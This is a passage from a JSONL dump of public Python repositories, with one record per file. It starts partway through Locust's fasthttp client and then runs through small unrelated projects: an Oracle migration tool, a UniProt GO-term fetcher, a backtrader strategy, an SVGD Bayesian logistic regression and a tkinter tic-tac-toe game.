invalid HTTP status codes\n \"\"\"\n try:\n return self.client.urlopen(url, method=method, **kwargs)\n except FAILURE_EXCEPTIONS as e:\n if hasattr(e, \"response\"):\n r = e.response\n else:\n r = ErrorResponse()\n r.error = e\n return r\n \n def request(self, method, path, name=None, data=None, catch_response=False, stream=False, \\\n headers=None, auth=None, **kwargs):\n \"\"\"\n Send and HTTP request\n Returns :py:class:`locust.contrib.fasthttp.FastResponse` object.\n\n :param method: method for the new :class:`Request` object.\n :param path: Path that will be concatenated with the base host URL that has been specified.\n Can also be a full URL, in which case the full URL will be requested, and the base host \n is ignored.\n :param name: (optional) An argument that can be specified to use as label in Locust's \n statistics instead of the URL path. This can be used to group different URL's \n that are requested into a single entry in Locust's statistics.\n :param catch_response: (optional) Boolean argument that, if set, can be used to make a request \n return a context manager to work as argument to a with statement. This will allow the \n request to be marked as a fail based on the content of the response, even if the response \n code is ok (2xx). The opposite also works, one can use catch_response to catch a request \n and then mark it as successful even if the response code was not (i.e 500 or 404).\n :param data: (optional) Dictionary or bytes to send in the body of the request.\n :param headers: (optional) Dictionary of HTTP Headers to send with the request.\n :param auth: (optional) Auth (username, password) tuple to enable Basic HTTP Auth.\n :param stream: (optional) If set to true the response body will not be consumed immediately \n and can instead be consumed by accessing the stream attribute on the Response object.\n Another side effect of setting stream to True is that the time for downloading the response \n content will not be accounted for in the request time that is reported by Locust.\n \"\"\"\n # prepend url with hostname unless it's already an absolute URL\n url = self._build_url(path)\n \n # store meta data that is used when reporting the request to locust's statistics\n request_meta = {}\n # set up pre_request hook for attaching meta data to the request object\n request_meta[\"method\"] = method\n request_meta[\"start_time\"] = default_timer()\n request_meta[\"name\"] = name or path\n \n if auth:\n headers = headers or {}\n headers['Authorization'] = _construct_basic_auth_str(auth[0], auth[1])\n elif self.auth_header:\n headers = headers or {}\n headers['Authorization'] = self.auth_header\n \n # send request, and catch any exceptions\n response = self._send_request_safe_mode(method, url, payload=data, headers=headers, **kwargs)\n \n # get the length of the content, but if the argument stream is set to True, we take\n # the size from the content-length header, in order to not trigger fetching of the body\n if stream:\n request_meta[\"content_size\"] = int(response.headers.get(\"content-length\") or 0)\n else:\n request_meta[\"content_size\"] = len(response.content or \"\")\n \n # Record the consumed time\n # Note: This is intentionally placed after we record the content_size above, since \n # we'll then trigger fetching of the body (unless stream=True)\n request_meta[\"response_time\"] = int((default_timer() - request_meta[\"start_time\"]) * 1000)\n \n if catch_response:\n response.locust_request_meta = request_meta\n return ResponseContextManager(response)\n else:\n try:\n response.raise_for_status()\n except FAILURE_EXCEPTIONS as e:\n events.request_failure.fire(\n request_type=request_meta[\"method\"], \n name=request_meta[\"name\"], \n response_time=request_meta[\"response_time\"], \n exception=e, \n )\n else:\n events.request_success.fire(\n request_type=request_meta[\"method\"],\n name=request_meta[\"name\"],\n response_time=request_meta[\"response_time\"],\n response_length=request_meta[\"content_size\"],\n )\n return response\n \n def delete(self, path, **kwargs):\n return self.request(\"DELETE\", path, **kwargs)\n \n def get(self, path, **kwargs):\n \"\"\"Sends a GET request\"\"\"\n return self.request(\"GET\", path, **kwargs)\n \n def head(self, path, **kwargs):\n \"\"\"Sends a HEAD request\"\"\"\n return self.request(\"HEAD\", path, **kwargs)\n \n def options(self, path, **kwargs):\n \"\"\"Sends a OPTIONS request\"\"\"\n return self.request(\"OPTIONS\", path, **kwargs)\n \n def patch(self, path, data=None, **kwargs):\n \"\"\"Sends a POST request\"\"\"\n return self.request(\"PATCH\", path, data=data, **kwargs)\n \n def post(self, path, data=None, **kwargs):\n \"\"\"Sends a POST request\"\"\"\n return self.request(\"POST\", path, data=data, **kwargs)\n \n def put(self, path, data=None, **kwargs):\n \"\"\"Sends a PUT request\"\"\"\n return self.request(\"PUT\", path, data=data, **kwargs)\n\n\nclass FastResponse(CompatResponse):\n headers = None\n \"\"\"Dict like object containing the response headers\"\"\"\n \n _response = None\n \n @property\n def text(self):\n \"\"\"\n Returns the text content of the response as a decoded string\n (unicode on python2)\n \"\"\"\n # Decode unicode from detected encoding.\n try:\n content = unicode(self.content, self.apparent_encoding, errors='replace')\n except (LookupError, TypeError):\n # A LookupError is raised if the encoding was not found which could\n # indicate a misspelling or similar mistake.\n #\n # A TypeError can be raised if encoding is None\n #\n # Fallback to decode without specifying encoding\n content = unicode(self.content, errors='replace')\n return content\n \n @property\n def apparent_encoding(self):\n \"\"\"The apparent encoding, provided by the chardet library.\"\"\"\n return chardet.detect(self.content)['encoding']\n \n def raise_for_status(self):\n \"\"\"Raise any connection errors that occured during the request\"\"\"\n if hasattr(self, 'error') and self.error:\n raise self.error\n \n @property\n def status_code(self):\n \"\"\"\n We override status_code in order to return None if no valid response was \n returned. E.g. in the case of connection errors\n \"\"\"\n return self._response is not None and self._response.get_code() or 0\n \n def _content(self):\n if self.headers is None:\n return None\n return super(FastResponse, self)._content()\n\n\nclass ErrorResponse(object):\n \"\"\"\n This is used as a dummy response object when geventhttpclient raises an error \n that doesn't have a real Response object attached. E.g. a socket error or similar\n \"\"\"\n headers = None\n content = None\n status_code = 0\n error = None\n text = None\n def raise_for_status(self):\n raise self.error\n\n\nclass LocustUserAgent(UserAgent):\n response_type = FastResponse\n \n def _urlopen(self, request):\n \"\"\"Override _urlopen() in order to make it use the response_type attribute\"\"\"\n client = self.clientpool.get_client(request.url_split)\n resp = client.request(request.method, request.url_split.request_uri,\n body=request.payload, headers=request.headers)\n return self.response_type(resp, request=request, sent_request=resp._sent_request)\n\n\nclass ResponseContextManager(FastResponse):\n \"\"\"\n A Response class that also acts as a context manager that provides the ability to manually \n control if an HTTP request should be marked as successful or a failure in Locust's statistics\n \n This class is a subclass of :py:class:`FastResponse ` \n with two additional methods: :py:meth:`success `\n and :py:meth:`failure `.\n \"\"\"\n \n _is_reported = False\n \n def __init__(self, response):\n # copy data from response to this object\n self.__dict__ = response.__dict__\n self._cached_content = response.content\n \n def __enter__(self):\n return self\n \n def __exit__(self, exc, value, traceback):\n if self._is_reported:\n # if the user has already manually marked this response as failure or success\n # we can ignore the default haviour of letting the response code determine the outcome\n return exc is None\n \n if exc:\n if isinstance(value, ResponseError):\n self.failure(value)\n else:\n return False\n else:\n try:\n self.raise_for_status()\n except FAILURE_EXCEPTIONS as e:\n self.failure(e)\n else:\n self.success()\n return True\n \n def success(self):\n \"\"\"\n Report the response as successful\n \n Example::\n \n with self.client.get(\"/does/not/exist\", catch_response=True) as response:\n if response.status_code == 404:\n response.success()\n \"\"\"\n events.request_success.fire(\n request_type=self.locust_request_meta[\"method\"],\n name=self.locust_request_meta[\"name\"],\n response_time=self.locust_request_meta[\"response_time\"],\n response_length=self.locust_request_meta[\"content_size\"],\n )\n self._is_reported = True\n \n def failure(self, exc):\n \"\"\"\n Report the response as a failure.\n \n exc can be either a python exception, or a string in which case it will\n be wrapped inside a CatchResponseError. \n \n Example::\n \n with self.client.get(\"/\", catch_response=True) as response:\n if response.content == \"\":\n response.failure(\"No data\")\n \"\"\"\n if isinstance(exc, six.string_types):\n exc = CatchResponseError(exc)\n \n events.request_failure.fire(\n request_type=self.locust_request_meta[\"method\"],\n name=self.locust_request_meta[\"name\"],\n response_time=self.locust_request_meta[\"response_time\"],\n exception=exc,\n )\n self._is_reported = True\n","repo_name":"heyman/locust","sub_path":"locust/contrib/fasthttp.py","file_name":"fasthttp.py","file_ext":"py","file_size_in_byte":15632,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"74435806508","text":"from pid_controller import PIDController\n\n\ndef main():\n pid = PIDController(1, 0.1, 0.5, -1, 1)\n pid # Just to ingore the linting warning\n print(\"This is a PID Controller Python Package\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"PedroS235/pid_controller_py","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12600926685","text":"import os, cx_Oracle, re, ntpath\nfrom pathlib import Path\nfrom datetime import datetime, date\nfrom pladmin.database import Database\nfrom pladmin.files import Files\n\n\nclass Migrations(Files, Database):\n\n __dsPath = None\n __asPath = None\n __executeScripts = None\n __basePlPath = None\n __branch = None\n __created = None \n __toDay = None\n\n\n def __init__(self):\n super().__init__()\n \n def createScript(self, fileType, quantity=1, basicPl=False):\n \"\"\" create file type .sql \"\"\"\n path = self.script_dir_dml\n\n if fileType == 'ddl':\n path = self.script_dir_dll\n\n fileCreating = []\n \n for _ in range(quantity):\n date = datetime.now()\n today = date.strftime(\"%m%d%Y%H%M%S\")\n\n \"\"\" counting the scripts in the directory to get next sequences \"\"\"\n quantityScriptsDir = len(os.listdir(path)) + 1\n\n fileName = \"%s%s%s.sql\" % (fileType, today, quantityScriptsDir)\n FullPahtScript = \"%s/%s\" % (path, fileName)\n\n script = open(FullPahtScript, \"w+\")\n fileCreating.append(fileName)\n\n if basicPl == 'Y':\n self.__copyContentFile(files, self.__basePlPath)\n\n return fileCreating\n\n @staticmethod\n def __copyContentFile(nameFileWrite, nameFileCopy):\n \"\"\" this function copy file content and paste in other file \"\"\"\n try:\n with open(nameFileCopy) as f:\n with open(nameFileWrite, \"w\") as f1:\n for line in f:\n f1.write(line)\n except FileNotFoundError as e:\n raise\n\n def migrate(self, typeFile=\"\"):\n path = '/plsql/scripts/%s' % typeFile.upper()\n\n for filename in Path(path).rglob('*.sql'):\n if re.search(typeFile, ntpath.basename(filename).lower()):\n yield filename\n # self.executeMigration(FullName=filename)\n\n def executeMigration(self, FullName):\n \"\"\" this function execute all instruccion sql in indicate file\n and create records with file execute \"\"\" \n \n scriptName = ntpath.basename(FullName)\n dataScript = self.getScriptByName(scriptName=scriptName)\n\n try:\n if not dataScript:\n with open(FullName, 'r') as scriptFile:\n \"\"\" read file and convert in string for run like script by cx_oracle \"\"\"\n executeStatement = scriptFile.read()\n\n if executeStatement:\n db = self.dbConnect()\n cursor = db.cursor()\n output = []\n\n # enable DBMS_OUTPUT\n cursor.callproc(\"dbms_output.enable\")\n cursor.execute(executeStatement)\n \n # perform loop to fetch the text that was added by PL/SQL\n textVar = cursor.var(str)\n statusVar = cursor.var(int)\n \n while True:\n # get output in oracle script\n cursor.callproc(\"dbms_output.get_line\", (textVar, statusVar))\n if statusVar.getvalue() != 0:\n break\n output.append(textVar.getvalue())\n \n dbmsOutPut = ' '.join(output)\n\n self.createMigration(scriptName=scriptName, status='OK',\n fullPath=FullName, typeScript=\"Prueba\", \n output=dbmsOutPut)\n \n # disabled oracle DBMS_OUTPUT\n cursor.callproc(\"dbms_output.disable\")\n return 'success %s' % scriptName\n\n else:\n return 'this file is blank'\n \n else:\n return 'Nothing to migrate'\n \n except Exception as error:\n raise\n # if script raise error stop pap ejecution\n # raise Exception('an error occurred in the execution of the script %s error: %s ' % (FullName, error))\n \n def checkPlaceScript(self):\n \"\"\" check that script DS dont have command ddl \"\"\"\n\n if len (os.listdir(self.__dsPath)) == 0:\n return 'Nothing to check'\n # These commands must be executed before production.\n reservedWords = ['ALTER','CREATE', 'REPLACE', \n 'DROP', 'TRUNCATE', 'RENAME', 'GRANT', 'REVOKE']\n\n scriptsMove = []\n message = \"all script in order\"\n\n for dirFiles in os.listdir(self.__dsPath):\n scriptRevision = os.path.join(self.__dsPath, dirFiles)\n with open(scriptRevision, 'r') as fileScript:\n statement = fileScript.read()\n\n for word in reservedWords:\n existsWord = statement.count(word)\n\n if existsWord > 0:\n scriptsMove.append(dirFiles)\n os.rename(scriptRevision, os.path.join(self.__asPath, dirFiles))\n\n if scriptsMove:\n message = ''' the scripts %s was moved to the execution of \n ace scripts, because it contained ddl instructions' % scriptsMove '''\n \n return message\n \n def listAllMigration(self):\n ds = os.listdir(self.__dsPath)\n aS = os.listdir(self.__asPath)\n\n return aS, ds\n \n def removeMigrations(self, migration):\n try:\n os.remove(migration)\n return 'migration removed'\n except FileNotFoundError as e:\n return 'migration not found'\n \n def getMigration(self, migration, typeFile):\n try:\n path = os.path.join(self.__asPath, migration.upper())\n\n if typeFile == 'ds':\n path = os.path.join(self.__dsPath, migration.upper())\n\n with open(path, 'r') as migration:\n return migration.read()\n\n except FileNotFoundError as e:\n return 'migration not found'\n","repo_name":"Trilogy-Dominicana/PL-Admin","sub_path":"pladmin/migrations.py","file_name":"migrations.py","file_ext":"py","file_size_in_byte":6251,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"5461876350","text":"import requests\nfrom nalaf.utils.cache import Cacheable\n\nclass GOTerms(Cacheable):\n \"\"\"\n Helper class that accesses the database identifier mapping service from Uniprot.\n and returns a list of 2-tuple with the requested geneid and the corresponding Uniprot ID.\n \"\"\"\n def __init__(self):\n super().__init__()\n self.url = 'http://www.uniprot.org/uniprot/{}.txt'\n\n\n def get_goterms_for_uniprot_id(self, list_uniprotids):\n \"\"\"\n Get dictionary mapping from { UniprotID : [ GOTerms, ... ]\n :param list_geneids:\n :type list_geneids: [int] or [str] or int or str\n :return: dictionary uniprotid --> goterms-list\n \"\"\"\n return_dict = {}\n to_be_downloaded = []\n\n for uniprotid in list_uniprotids:\n if uniprotid in self.cache:\n return_dict[uniprotid] = self.cache[uniprotid]\n else:\n to_be_downloaded.append(uniprotid)\n\n if len(to_be_downloaded) == 0:\n return return_dict\n\n for uniprotid in to_be_downloaded:\n return_dict[uniprotid] = []\n r = requests.get(self.url.format(uniprotid))\n for line in r.text.splitlines():\n if line.startswith(\"DR GO;\"):\n startIndex = line.find('GO:')\n endIndex = startIndex+10\n return_dict[uniprotid].append(line[startIndex:endIndex])\n\n return return_dict\n","repo_name":"Rostlab/relna","sub_path":"relna/utils/go_utils.py","file_name":"go_utils.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"18926270534","text":"#!/usr/bin/python\nimport sys\nimport os\nimport json\nimport datetime\nfrom os import walk\nfrom datetime import timedelta\n\nclass partner_summary:\n def __init__(self):\n self.key_list = [\"M1\", \"M2\", \"m3\", \"M5\", \"nawala\", \"unlp\", \"uccgh\", \"kaznic\", \"twnic\", \"tlsa\"]\n self.state = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n def check_file(self, file_name, key):\n \"check whether name in file matches partner and remember key\"\n i = 0\n while (i < len(self.key_list)):\n if(file_name.find(self.key_list[i]) != -1):\n self.state[i] |= key\n i += 1;\n\n def save_as_json(self, f_name, year, month):\n \"Save the summary as a CSV file\"\n json_file = open(f_name, \"w\")\n json_file.write(\"{\\n\")\n json_file.write(\"\\\"date\\\" : \\\"\" + str(year) + \"-\" + format(month, \"02d\") + \"\\\",\\n\")\n json_file.write(\"\\\"year\\\" : \" + str(year) + \",\\n\")\n json_file.write(\"\\\"month\\\" : \" + str(month) + \",\\n\")\n json_file.write(\"\\\"partners\\\" : [\\n\")\n i = 0\n while (i < len(self.key_list)):\n if(i > 0):\n json_file.write(\",\\n\")\n m0= self.state[i]&1\n m1 = (self.state[i]>>1)&1\n json_file.write(\"[\\\"\" + self.key_list[i] + \"\\\",\" + str(m0) + \",\" + str(m1) + \"]\")\n i+=1\n json_file.write(\"]\\n\")\n json_file.write(\"}\\n\")\n json_file.close()\n\n# Main\n\nmetric_dirs = [ \"M1\", \"M2\" ]\nsummary = partner_summary()\nmypath = sys.argv[1]\nithi = sys.argv[2]\ncurrent = datetime.date.today()\nprevious = datetime.date(current.year, current.month, 1) - timedelta(days=1)\nbefore = datetime.date(previous.year, previous.month, 1) - timedelta(days=1)\ncurrent_month = str(current.year) + \"-\" + format(current.month, \"02d\")\nprevious_month = str(previous.year) + \"-\" + format(previous.month, \"02d\")\nbefore_month = str(before.year) + \"-\" + format(before.month, \"02d\")\n\ntlsa1 = \"tlsa-data-\" + current_month + \".csv\"\ntlsa2 = \"tlsa-data-\" + previous_month + \".csv\"\n\nfor (dirpath, dirnames, filenames) in walk(mypath):\n for file_name in filenames :\n z = 0\n try :\n z = os.path.getsize(os.path.join(dirpath, file_name))\n except(OSError, IOError):\n z = 0\n if (z > 0):\n if (file_name.endswith(\"_this_month.txt\")):\n summary.check_file(file_name, 1)\n if (file_name.endswith(\"previous_month.txt\")):\n summary.check_file(file_name, 2)\n if (file_name == tlsa1):\n summary.check_file(file_name, 1)\n if (file_name == tlsa2):\n summary.check_file(file_name, 2)\n\ni = 0\nwhile (i < len(metric_dirs)):\n m_dir = ithi + \"/\" + metric_dirs[i]\n for (dirpath, dirnames,filenames) in walk(m_dir):\n for file_name in filenames :\n z = 0\n try :\n z = os.path.getsize(os.path.join(dirpath, file_name))\n except(OSError, IOError):\n z = 0\n if (z > 0):\n if(file_name.find(previous_month) != -1):\n summary.check_file(file_name, 1)\n if (file_name.find(before_month) != -1):\n summary.check_file(file_name, 2)\n i+=1\n\nm_dir = ithi + \"/M5\" \nfor (dirpath, dirnames,filenames) in walk(m_dir):\n for file_name in filenames :\n z = 0\n try :\n z = os.path.getsize(os.path.join(dirpath, file_name))\n except(OSError, IOError):\n z = 0\n if (z > 0):\n if(file_name.find(current_month) != -1):\n summary.check_file(file_name, 1)\n if (file_name.find(previous_month) != -1):\n summary.check_file(file_name, 2)\n\nsummary.save_as_json(sys.argv[3], current.year, current.month)\n","repo_name":"private-octopus/ithitools","sub_path":"src/partnercheck.py","file_name":"partnercheck.py","file_ext":"py","file_size_in_byte":3773,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"21486182201","text":"import backtrader as bt\n\n\nclass BaseSignalStrategy(bt.SignalStrategy):\n params = {\"print_log\": True}\n\n def log(self, txt, dt=None, do_print=False):\n if self.params.print_log or do_print:\n dt = dt or self.datas[0].datetime.date(0)\n print(f\"{dt.isoformat()} - {txt}\")\n\n def notify_order(self, order):\n if order.status in [order.Submitted, order.Accepted]:\n # Buy/Sell order submitted/accepted to/by broker - Nothing to do\n return\n\n # Check if an order has been completed\n # Attention: broker could reject order if not enough cash\n if order.status in [order.Completed]:\n if order.isbuy():\n self.log(f\"Buy Executed - Price: {order.executed.price:.2f} - Cost: {order.executed.value:.2f}\")\n else: # Sell\n self.log(f\"Sell Executed - Price: {order.executed.price:.2f} - Cost: {order.executed.value:.2f}\")\n\n elif order.status in [order.Canceled, order.Margin, order.Rejected]:\n self.log(\"Order Canceled/Margin/Rejected\")\n\n def notify_trade(self, trade):\n if not trade.isclosed:\n return\n self.log(f\"Operation Profit, Gross {trade.pnl:.2f} - NET {trade.pnlcomm:.2f}\")\n","repo_name":"fernandoe/cr-server","sub_path":"src/fe_backtrader/engine/strategies/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19570891537","text":"__author__ = \"AivanF\"\n\nfrom os import environ\nfrom sqlalchemy.ext.asyncio import create_async_engine, AsyncSession\nfrom sqlalchemy.orm import declarative_base, sessionmaker, Session\nfrom sqlalchemy import Index, Column, Integer, String, JSON\nfrom sqlalchemy.future import select\n\nDATABASE_URL = environ.get(\"DATABASE_URL\", \"sqlite+aiosqlite:///./test.db\")\nengine = create_async_engine(DATABASE_URL, future=True, echo=True)\nasync_session = sessionmaker(engine, expire_on_commit=False, class_=AsyncSession)\nBase = declarative_base()\n\n\nasync def delete_database():\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.drop_all)\n\n\nasync def create_database():\n async with engine.begin() as conn:\n await conn.run_sync(Base.metadata.create_all)\n\n\nclass Model(Base):\n __tablename__ = \"smth\"\n\n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=False)\n data = Column(JSON, nullable=False)\n\n idx_main = Index(\"name\", \"id\")\n\n\nasync def create_object(db: Session, name: str, data: dict):\n connection = Model(name=name, data=data)\n db.add(connection)\n await db.flush()\n\n\nasync def get_objects(db: Session, name: str):\n raw_q = select(Model) \\\n .where(Model.name == name) \\\n .order_by(Model.id)\n q = await db.execute(raw_q)\n return q.scalars().all()\n","repo_name":"AivanF/Postgres-SQLAlchemy-FastAPI-problem","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23740351091","text":"from __future__ import print_function, division, absolute_import\nimport numpy as np\n\n'''\n We base on the code of SVGD released by its original author (Qiang Liu and Dilin Wang). Note that we also keep some\n of their comments in the code.\n\n Bayesian Logistic Regression (the same setting as Gershman et al. 2012):\n The observed data D = {X, y} consist of N binary class labels, \n y_t \\in {-1,+1}, and d covariates for each datapoint, X_t \\in R^d.\n The hidden variables \\theta = {w, \\alpha} consist of d regression coefficients w_k \\in R,\n and a precision parameter \\alpha \\in R_+. We assume the following model:\n p(\\alpha) = Gamma(\\alpha; a, b)\n p(w_k | a) = N(w_k; 0, \\alpha^-1)\n p(y_t = 1| x_t, w) = 1 / (1+exp(-w^T x_t))\n'''\n\n\nclass BayesianLR_VR:\n def __init__(self, X, Y, batchsize=100, a0=1, b0=0.01):\n self.X, self.Y = X, Y\n self.batchsize = min(batchsize, X.shape[0])\n self.a0, self.b0 = a0, b0\n\n self.N = X.shape[0]\n self.permutation = np.random.permutation(self.N)\n self.iter = 0\n\n def grad_ln_posterior(self, theta, data_idx=None):\n '''\n M: number of particles (i.e. theta)\n n: number of data points at which we compute the posterior (i.e. the number of elements in data_idx)\n N: number of all data points in the dataset\n D: dimension of each data point\n '''\n\n if data_idx is None:\n if self.batchsize > 0:\n batch = [i % self.N for i in range(self.iter * self.batchsize, (self.iter + 1) * self.batchsize)]\n ridx = self.permutation[batch]\n self.iter += 1\n else:\n ridx = np.random.permutation(self.X.shape[0])\n else:\n ridx = np.copy(data_idx)\n\n Xs = self.X[ridx, :] # n x D\n Ys = self.Y[ridx] # n\n\n w = theta[:, :-1] # logistic weights: M x D\n alpha = np.exp(theta[:, -1]) # the last column is logalpha\n d = w.shape[1] # D\n\n wt = np.multiply((alpha / 2), np.sum(w ** 2, axis=1)) # (M,)\n dalpha = d / 2.0 - wt + (self.a0 - 1) - self.b0 * alpha + 1 # (M,); the last term is the jacobian term\n\n coff = np.matmul(Xs, w.T) # n x M\n y_hat = 1.0 / (1.0 + np.exp(-1 * coff)) # n x M\n\n dw_data = np.matmul(((np.broadcast_to(np.vstack(Ys), (len(Ys), theta.shape[0])) + 1) / 2.0 - y_hat).T,\n Xs) # Y \\in {-1,1}\n dw_prior = -np.multiply(np.broadcast_to(np.vstack(alpha), (len(alpha), d)), w) # M x D\n dw = dw_data * 1.0 * self.N / Xs.shape[0] + dw_prior # re-scale to estimate the likelihood of the full\n # dataset from the likelihood of a minibatch\n\n return np.hstack([dw, np.vstack(dalpha)]) # first order derivative: M x (D + 1)\n\n def grad_ln_likelihood(self, theta, data_idx=None):\n '''\n M: number of particles (i.e. theta)\n n: number of data points at which we compute the likelihoods (i.e. the number of elements in data_idx)\n D: dimension of each data point\n '''\n\n if data_idx is None: # compute the likelihood of every data point in the full dataset\n data_idx = np.arange(self.N)\n\n w = theta[:, :-1] # logistic weights: M x D\n alpha = np.exp(theta[:, -1]) # the last column is logalpha: (M,)\n d = w.shape[1] # D\n\n wt = np.multiply((alpha / 2), np.sum(w ** 2, axis=1)) # (M,)\n dalpha_data = (d / 2.0 - wt + 1) * len(data_idx) / self.N # (M,)\n\n Xs = self.X[data_idx, :] # n x D\n Ys = self.Y[data_idx] # n\n\n coff = np.matmul(Xs, w.T) # n x M\n y_hat = 1.0 / (1.0 + np.exp(-1 * coff)) # n x M\n\n dw_data = np.matmul(((np.broadcast_to(np.vstack(Ys), (len(Ys), theta.shape[0])) + 1) / 2.0 - y_hat).T,\n Xs) # Y \\in {-1,1}\n\n return np.hstack([dw_data, np.vstack(dalpha_data)]) # M x (D + 1)\n\n def evaluation(self, theta, X_test, y_test):\n theta = theta[:, :-1]\n M, n_test = theta.shape[0], len(y_test)\n\n prob = np.zeros([n_test, M])\n for t in range(M):\n coff = np.multiply(y_test, np.sum(\n -1 * np.multiply(np.broadcast_to(theta[t, :], (n_test, len(theta[t, :]))), X_test), axis=1))\n prob[:, t] = np.divide(np.ones(n_test), (1 + np.exp(coff)))\n\n prob = np.mean(prob, axis=1)\n acc = np.mean(prob > 0.5)\n llh = np.mean(np.log(prob))\n return [acc, llh]\n\n def predict_in_dataset(self, theta, data_idx):\n '''\n Predict the labels given observations in the input dataset.\n\n theta: weights of the Bayesian logistic regression.\n\n data_idx: indices of the observations in the given dataset.\n '''\n return self.predict(theta, self.X[data_idx, :], self.Y[data_idx])\n\n def predict(self, theta, X_test, y_test=None):\n '''\n Predict the labels given observations.\n\n theta: weights of the Bayesian logistic regression.\n\n X_test: observations. Size N x D, where N is the number of observations and D is the dimension of each observation.\n\n y_test: corresponding true labels.\n '''\n theta = theta[:, :-1]\n M, n_test = theta.shape[0], len(y_test)\n\n prob = np.zeros([n_test, M])\n for t in np.arange(M):\n coeff = -1.0 * np.matmul(X_test, theta[t, :])\n prob[:, t] = np.divide(np.ones(n_test), (1 + np.exp(coeff)))\n\n prob = np.mean(prob, axis=1)\n y_pred = np.ones(n_test)\n y_pred[prob <= 0.5] = -1\n\n if y_test is None:\n return y_pred\n return y_pred, np.sum(y_pred == y_test)\n\n def eval_est_grad_var(self, theta, batchsize=None, shuffled_idx=None, variance_reduction=False, mu=None,\n theta_ss=None):\n '''\n Evaluate the standard deviation of the estimator of the full-batch gradient.\n shuffled_idx: the list of the shuffled indices of all data points in the dataset. If this list is not\n provided, the current permutation stored in this object will be used. By default, shuffled_idx = None.\n\n variance_reduction: if True, SVRG estimator if used. If False, the traditional mini-batch estimator is used.\n By default, variance_reduction = False.\n\n mu: used in SVRG (i.e. when variance_reduction = True). This is the gradient of log likelihood of full\n dataset evaluated with the snapshot value of the parameters. By default, mu = None.\n\n theta_ss: (snapshot theta) used in SVRG. This is a snapshot of parameters. By default, theta_ss = None.\n '''\n batchsize = self.batchsize if batchsize is None else batchsize\n shuffled_idx = self.permutation if shuffled_idx is None else shuffled_idx\n all_est_grad = None\n true_grad = self.grad_ln_posterior(theta, shuffled_idx) # (num_particles, particle_dim)\n num_batches = int(np.ceil(self.N / batchsize))\n if not variance_reduction:\n for it in np.arange(num_batches):\n batch = np.arange(it * batchsize, (it + 1) * batchsize) % self.N\n ridx = shuffled_idx[batch]\n rho = self.grad_ln_posterior(theta, ridx) # (num_particles, particle_dim)\n if all_est_grad is None:\n all_est_grad = rho\n else:\n all_est_grad = np.hstack((all_est_grad, rho)) # (num_particles, particle_dim * num_batches)\n else:\n for it in np.arange(num_batches):\n batch = np.arange(it * batchsize, (it + 1) * batchsize) % self.N\n ridx = shuffled_idx[batch]\n gradlnp_hat = self.grad_ln_posterior(theta, ridx) # (num_particles, particle_dim)\n rho = gradlnp_hat - self.grad_ln_likelihood(theta_ss,\n ridx) * self.N / batchsize + mu # (num_particles, particle_dim)\n if all_est_grad is None:\n all_est_grad = rho\n else:\n all_est_grad = np.hstack((all_est_grad, rho)) # (num_particles, particle_dim * num_batches)\n tmp = np.reshape((all_est_grad - np.tile(true_grad, (1, num_batches))) ** 2, (theta.shape[0], num_batches, -1))\n # (num_particles, num_batches, particle_dim)\n tmp = np.sqrt(np.mean(tmp, axis=1)) # (num_particles, particle_dim)\n stddev_est_grad = np.mean(tmp, axis=0) # (particle_dim,)\n return stddev_est_grad\n","repo_name":"nhan-dam/svgd-variance-reduction","sub_path":"bayesian_logistic_regression.py","file_name":"bayesian_logistic_regression.py","file_ext":"py","file_size_in_byte":8582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28126581636","text":"from tkinter import*\r\ndef callback(n,m):\r\n global player\r\n \r\n if player==\"😍\" and states[n][m]==0 and stop_game==False: #We Can also use Hash Value of Emoji\r\n b[n][m].configure(text='😍',fg='blue',bg='white')\r\n states[n][m]='😍'\r\n player='💔' \r\n \r\n if player==\"💔\" and states[n][m]==0 and stop_game==False:\r\n b[n][m].configure(text='💔',fg='orange',bg='black')\r\n states[n][m]='💔'\r\n player='😍'\r\n check_for_winner()\r\n \r\ndef check_for_winner():\r\n global stop_game\r\n for i in range(3):\r\n if states[i][0]==states[i][1]==states[i][2]!=0:\r\n b[i][0].config(bg='gray')\r\n b[i][1].config(bg='gray')\r\n b[i][2].config(bg='gray')\r\n stop_game=True\r\n for i in range(3):\r\n if states[0][i]==states[1][i]==states[2][i]!=0:\r\n b[0][i].config(bg='gray')\r\n b[1][i].config(bg='gray')\r\n b[2][i].config(bg='gray')\r\n stop_game=True \r\n \r\n if states[0][0]==states[1][1]==states[2][2]!=0:\r\n b[0][1].config(bg='gray')\r\n b[1][1].config(bg='gray')\r\n b[2][2].config(bg='gray')\r\n stop_game=True \r\n if states[2][0]==states[1][1]==states[0][2]!=0:\r\n b[2][0].config(bg='gray')\r\n b[1][1].config(bg='gray')\r\n b[0][2].config(bg='gray')\r\n stop_game=True \r\nroot=Tk()\r\nroot.title(\"TIC TAC TOE \")\r\n\r\nb=[[0,0,0,],\r\n [0,0,0,],\r\n [0,0,0]]\r\nstates=[[0,0,0],\r\n [0,0,0],\r\n [0,0,0]]\r\nfor i in range(3):\r\n for j in range(3):\r\n b[i][j]=Button(font=(\"Arial\",60),width=4,bg='powder blue',\r\n command=lambda n=i,m=j: callback(n,m))\r\n b[i][j].grid(row=i,column=j)\r\nplayer='😍'\r\nstop_game=False\r\nroot.mainloop()\r\n 